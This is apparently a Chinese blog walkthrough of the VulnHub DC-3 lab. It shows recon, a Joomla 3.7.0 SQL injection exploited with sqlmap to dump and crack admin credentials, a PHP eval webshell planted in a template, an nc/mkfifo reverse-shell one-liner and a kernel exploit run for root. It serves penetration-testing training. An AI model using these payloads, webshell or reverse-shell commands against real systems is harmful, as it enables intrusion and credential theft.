DC-3靶场详细步骤

环境搭建:

1.靶场描述DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。

下载靶场环境

2.靶场下载地址:

https://www.vulnhub.com/entry/dc-32,312/

渗透靶场

目标:    目标就是我们搭建的靶场,靶场IP为:192.168.186.0/24

信息收集:寻找靶机真实IP

nmap -sP 192.168.186.0/24

d16f5e8405f542c589a166fbc170c84c.png

 我们可以找到本机的IP地址为192.168.186.131

信息收集:探端口及服务

nmap -A -p- -v 192.168.66.142

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息

4c8ab115758146c29d225138bbcc6371.png

我们 发信了开放的端口是80端口,存在web服务器,Apache/2.4.18,CMS为Joomla

使用虚拟机的火狐浏览器在搜索栏中搜索192.168.186.131

abf906e77fd641c18bbf0c68df212996.png

 他告诉我们这次DC-3实战只有一个目标获得root权限

利用JoomScan进行扫描获取后台地址

由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。

JoomScan简介

OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。

joomScan扫描

joomscan --url http://192.168.66.142  提示没有joomscan 选择y安装

e607d6caeeb841d8a78c9982222178f9.png

 扫描结果如下知道了joomla cms版本为3.7.0

得到了网站后台地址http://192.168.186.131/administrator/

dec5bac6178640999527f4fa07a15199.png

 利用nikto扫描获取后台地址

Nikto简介    Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

Nikto简单使用

常规扫描nikto -host/-h http://127.0.0.1nikto -h http://127.0.0.1

可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描

查看插件信息nikto -list-plugins

批量扫描nikto -host list.txt

查看更详细的帮助信息nikto -H man nikto

Nikto扫描

 我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

nikto --url http://192.168.186.131/

69b9201ae16c4044b84ab57bd1a9dab0.png

 搜索漏洞信息

根据前面信息收集内容,采用的cms和版本信息,进行漏洞搜索,是否有可以用的漏洞。

查找漏洞发现存在SQL注入    

我们前面知道了CMS为joomla,版本为3.7.0使用searchsploit检查到有对应的漏洞

searchsploit joomla 3.7.0

我们发现有一个SQL注入,还存在一个XSS

c1be33ba4de94aceb06864e5a1cd0521.png

 我们可以看一下这个漏洞的提示信息

searchsploit -m 42033.txt

 这里我们可以看到信息提示

df8d167696ac4474967b1978c7d46395.png

 我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok

http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示,数据库语句错误,说明进行了拼接,存在SQL注入

696055f70330499090fdbfa691a0bfe9.png

 sqlmap跑出数据

跑出所有数据库

sqlmap -u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch(引号里面的内容要在虚拟机里面的火狐搜索)

a7655f3e3164444a9ddaa363833eceef.png

 扫描结果成功把数据库跑出来了。

abf2449acd864051ae029642f259682c.png

 获取当前数据库的名字joomladb

sqlmap-u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 --level=5 --random-agent -p list[fullordering] --current-db -batch

4a62c48f90f24eefa518afd9450a527b.png

 获取当前数据库的表名

sqlmap-u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 -p list[fullordering] -D "joomladb" --tables --batch

950386c8ae9b4d8787803c1ecc4e1b08.png

 从这里可以看出这张表的名字叫#_users

获取joomladb的users表的字段名

sqlmap -u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项,直接回车使用默认的Y

5933fb69e570445699e86ebe58e4a4f5.png

 第二个选项,使用Y,不要使用默认的,不然会出错

ebbfde291837402b8d24b1dc546378f5.png

 第三个选项都可以

3d4517a5669a42a1887a74a6f300e422.png

 第四个选项使用10线程

3dea83fa31f945b4b901b275944d5066.png

最后跑出来了六个字段

15732913addc4a38afbfed4664613852.png

 获取目标字段username和password

sqlmap -u

"http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"--risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

结果就是拿到一个用户名和加密的密码

2bf00636eb4d4c108ccafe50c2942f4e.png

 利用john爆破密码snoopy

使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

创建一个1.txt,把加密的密码字段写入

132b5bc0c8be4394b51a972d64b0c3aa.png

 使用john破解出admin密码是snoopy

e9282e5765514eacb7d7f50aa4098703.png

 利用获取到的账号密码进行登录

在虚拟机火狐网页搜索上输入http://192.168.186.131/administrator/ 出现登录页面admin/snoopy

登陆成功

fd432ac9645f4a1c910d2f86bf9ce1f4.png

 上传webshell    

发现一个上传点

b0fcf37a78fa4e8cbbb3b5884240ceef.png

 点击Beez3 Details and Files进入

32d11a18a0fc43d1a88c4d50bf5819c4.png

 点击newfiles

df901292ae7f45ae87b4eccc058d9e08.png

 这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑要上传木马,我们先要找到当前文件所在的目录

77ec31d11bb141d39a513a00d65c37e7.png

 在虚拟机上的火狐搜素  http://192.168.186.131/templates/beez3/html/

5f33f402361344dc82d4986df23a3072.png

 回到刚才的页面点击new file

在html下创建一个php文件,名字叫做shell

04b28a140a924e5996ff80480664e6b7.png

 创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存

<?php

echo ("密码是a");

@eval($_REQUEST [a]);

?>

f3d24aec708a43898d58c1c4c30aa683.png

 在火狐上再次访问http://192.168.186.131/templates/beez3/html/
会发现多了一个shell.php文件,我们访问一下

2c64df4a47314aaca96d653cca52bb45.png

 访问webshell,得到我们设置的会先内容,文件上传成功http://192.168.186.131/templates/beez3/html/shell.php

a82df3652f5a46db969ef030e660952b.png

 蚁剑管理webshell    

右键添加数据

3e00dc9a8b704714bdcb614320e13da9.png

 右键进入虚拟终端执行whaomi查询我权限,是www-data权限

ad347f9eff52461fa90ef6e1c044e4fb.png

 反弹shell到kali    

蚁剑看到的终端不如kali清晰,反弹一个shell到kali

kali监听

nc -lvvp 1234

c2a01e79dc9f4fa2b38a162d493609af.png

 靶机连接

nc -e /bin/bash 192.168.168.128 1234

发现-e参数不可用

07310a01c4a8461f8f34295b8ad2c61b.png

 使用如下目录连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.186.128 1234 >/tmp/f

3ea4acb052da4ceea7bdba2eb66801c8.png

275fe8734a1948a49123a760f598ebd8.png 

 创建交互式shell    

经常用shell的都知道这个shell不好用,我们建立一个交互式shell  

 常用的就是python创建交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

d4818e04fffc4969ac36e503e4d464d8.png

 使用辅助脚本发现提权漏洞

下载辅助脚本Linux-Exploit-Suggester.sh    

下载地址:https://github.com/mzet-/linux-exploit-suggester

上传辅助脚本    

我们直接在蚁剑中上传

9a8f3213f560476faa0b150331905dc1.png

 发现漏洞

ls -l linux-exploit-suggester.sh

fe8e8ef394b54a9baad4e1cc72deda3e.png

发现没有执行权限,我们给他加个执行文件

chmod +x linux-exploit-suggester.sh

4a82d32137964398a5faf2f88586e985.png

 执行脚本

./linux-exploit-suggester.sh

发现很多可利用漏洞

5b173207e7f64560a46f69886dfae0c0.png

f4baeec223034b669fe5aaf34729c7d8.png 

 使用辅助脚本提权

获取提权脚本    

上面发现了很多漏洞,这里我们挑一个进行提权

挑选CVE-2016-4557

757b9ecb3dfd4c4e9020146abfb6e3b6.png

 在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载也可以去searchsploit里面去看看

d49e912e96bc48dfb9bb4555f699dccc.png

  9da47f9c755f45de93a9476335871264.png

 地址根上面一样也不能使用,可以使用下面地址直接下载

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip

b79a1ab822734ad9a0005eac9c0b1fc7.png

 下载好后,可以传给蚁剑

提权    

解压文件

unzip 39772.zip

1271da20ab3d490fa5a3936eeae689be.png

 cd 33792

ls

583c3e7a727b44ee864c7b07f0777c4f.png

 tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

7d37003718f140c99626ed809ab8370b.png

 ./compile.sh.

/doubleput

执行完之后,提权成功

03436bb522604585b634fdf9b95ccf73.png

 获得root权限

a776d87c0a7c43c9a6945c0e1d092e20.png

 发现the-flag.txt

ls

cat the-flag.txt

f562474ffdd9473cbf54667df1ec4dfb.png

 到这里试验就结束了感谢大家。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值